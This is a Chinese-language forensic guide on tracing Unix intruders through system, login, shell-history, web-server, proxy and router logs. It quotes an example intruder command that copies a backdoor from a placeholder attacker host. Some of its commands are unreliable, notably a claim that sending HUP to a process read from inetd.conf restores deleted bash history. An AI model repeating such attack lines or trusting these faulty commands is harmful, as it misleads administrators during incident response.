*NIX的入侵追蹤
在*NIX系統遭受入侵后，確定損失及入侵者的攻擊源地址相當重要。雖然在大多數入侵者懂得使用曾被他們攻陷的機器作為跳板來攻擊你的伺服器可在他們發動正式攻擊前所做的目標信息收集工作（試探性掃描）常常是從他們的工作機開始的，本篇介紹如何從遭受入侵的系統的日誌中分析出入侵者的IP並加以確定的。
1.messages /var/adm是UNIX的日誌目錄（linux下則是/var/log）。有相當多的ASCII文本格式的日誌保存它之下，當然，讓我們把焦點首先集中在messages這個文件,這也是入侵者所關心的文件，它記錄了來自系統級別的信息。在這裡，大量的日誌記錄對於我們是無用的。比如: Apr 25 21:49:30 2000 unix: Copyright (c) 1983-1997, Sun Microsystems, Inc. Apr 25 21:49:30 2000 unix: mem = 262144K (0x10000000) 這樣顯示版權或者硬體信息的記錄而 Apr 29 19:06:47 www login[28845]: FAILED LOGIN 1 FROM xxx.xxx.xxx.xxx , User not known to the underlying authentication module 這樣的登錄失敗記錄 Apr 29 22:05:45 game PAM_pwdb[29509]: (login) session opened for user ncx by (ui d=0) 因此第一步應該是Kill -HUP cat `/var/run/syslogd.pid` （當然，有可能入侵者已經幫我們做過了，;-)那樣我們得不到任何有用信息）在下面這個網址你可以找到大量的日誌審計分析工具或者腳本。http://www.securityfocus .com/templates/tools_category.html?category=2&platform=&path=[%20auditing%20][%2 0log%20analysis%20]
2.wtmp,utmp logs 你能夠在/var/adm,/var/log,/etc目錄中找到名為wtmp,utmp的文件這記錄著用戶何時，何地telnet上主機， 在黑客中最古老也是最流行的zap2(編譯后的文件名一般叫做z2，或者是叫wipe) 也是用來抹掉在這兩個文件中用戶登錄的信息的，然而由於懶惰或者糟糕的網路速度(>3秒的 echo就令人崩潰，而我經常遇見10倍於此的回顯時間)，很多入侵者沒有上載或編譯這個文件，管理員所需要就是使用lastlog這個命令來獲得入侵者上次連接的源地址（當然，這個地址有可能是他們的一個跳板）
3.sh_history 在獲得root許可權后，入侵者建立了他們自己的入侵帳號，更高級的技巧是給類似uucp，lp不常使用的系統用戶名加上密碼。在遭受入侵后，即使入侵者刪除了.sh_history或者.bash_history這樣的文件，執行kill -HUP 『cat /var/run/inetd.conf『即可將保留在內存頁中的bash命令記錄重新寫回到磁碟，然後執行find / -name .sh_history -print，仔細查看每個可疑的shell命令日誌。尤其是當你在/usr/spool/lp(lp home dir),/usr/lib/uucp/(uucp home dir)這樣的目錄下找了.sh_history 文件時。往往入侵者在需要目標機和工作機傳送文件時為了避免被syslog, 可能使用從目標機ftp到工作機的方法，因此在sh_history中你有可能發現類似ftp xxx.xxx .xxx.xxx或者rcp nobody@xxx.xxx.xxx.xxx:/tmp/backdoor /tmp/backdoor 這樣顯示出入侵者IP或域名的命令。
4.http伺服器日誌這很有可能是確定入侵者的真實攻擊發源地的最有效方法。以最流行的apache伺服器為例，在${prefix}/logs/目錄下你可以發現access.log這個文件，該文件記載了訪問者的IP,訪問的時間和請求訪問的內容。在遭受入侵后，我們應該可以在該文件中發現類似下面的record: xxx.xxx.xxx.xxx - - [28/Apr/2000:00:29:05 -0800] 「GET /cgi-bin/rguest.exe「 404 - xxx.xxx.xxx.xxx - - [28/Apr/2000:00:28:57 -0800] 「GET /msads/Samples/SELECTOR/sh owcode.asp「 404 -來自IP為xxx.xxx.xxx.xxx的某人在2000年4月28號的0點28分試圖訪問 /msads/Samples/SELECTOR/showcode.asp文件，這是在使用web cgi掃描器后遺留下的日誌。大部分的web掃描器都是基於MS操作系統的，而為了更快的速度，使用基於*nix的掃描器的入侵者常選擇離自己最近的伺服器。結合攻擊時間和IP，我們可以知道入侵者的大量信息。
6.核心dump 這是一種相對較複雜的方法，但是也有效。一個安全穩定的守護進程在正常運行的時候是不會dump出系統的核心，當入侵者利用遠程漏洞攻擊時，許多服務正在執行一個getpeern ame的socket 函數調用(參見socket編程)，因此入侵者的IP也保存在內存中，此時服務overflow,系統 p內存頁文件被dump到core文件,這意味著你可能在一大段雜亂無章的字元中（事實上是一個全局資料庫中的進程變數）找到一個包含有執行此expoloit的IP。 BTW: 這段是參考了http://members.tripod.com/mixtersecurity/paper.html后寫出的，我做了一個cmsd的遠程攻擊測試，但只在中間找到了入侵者遠程overflow 的部分命令，沒有找到IP。不過這仍有理由相信Mixter(paper.html的作者)的話。
7 代理伺服器日誌代理是大中型企業網常使用來做為內外信息交換的一個介面，它忠實地記錄著每一個用戶所訪問的內容，當然，也包括入侵者的訪問內容。以最常用的squid代理為例，通常你可以在/usr/local/squid/logs/下找到access.log 這個龐大的日誌文件，當然，由於日誌記錄添加得很快，在安全事故后應該及時備份它。你可以在以下地址獲得squid的日誌分析腳本: http://www.squid-cache.org/Doc/Users-Guide/added/stats.html 通過對敏感文件訪問日誌的分析，可以知道何人在何時訪問了這些本該保密的內容。
8 路由器日誌默認方式下路由器不會記錄任何掃描和登錄，因此入侵者常用它做跳板來進行攻擊。如果你的企業網被劃分為軍事區和非軍事區的話，添加路由器的日誌記錄將有助於日後追蹤入侵者。更重要的是，對於管理員來說，這樣的設置能確定攻擊者到底是內賊還是外盜。當然，你需要額外的一台伺服器來放置router.log文件。
在CISCO路由器上: router(config)# logging faclity syslog router(config)# logging trap informational router(config)# logging [伺服器名] 在log server上： I.在/etc/syslog.conf中加入一行: *.info /var/log/router.log II.生成文件日誌文件： touch /var/log/router.log III.重起syslogd進程: kill -HUP 『cat /var/run/syslogd.pid『
對於入侵者來說，在實施攻擊的整個過程中不與目標機試圖建立tcp連接是不太可能的，這裡有許多入侵者主觀和客觀的原因，而且在實施攻擊中不留下日誌也是相當困難的。如果我們花上足夠的時間和精力，是可以從大量的日誌中分析出我們希望的信息。就入侵者的行為心理而言，他們在目標機上取得的許可權越大，他們就越傾向於保守的方式來建立與目標機的連接。仔細分析早期的日誌，尤其是包含有掃描的部分，我們能有更大的收穫。
日誌審計只是作為入侵后的被動防禦手段。主動的是加強自身的學習，及時升級或更新系統。做到有備無患才是最有效的防止入侵的方法。
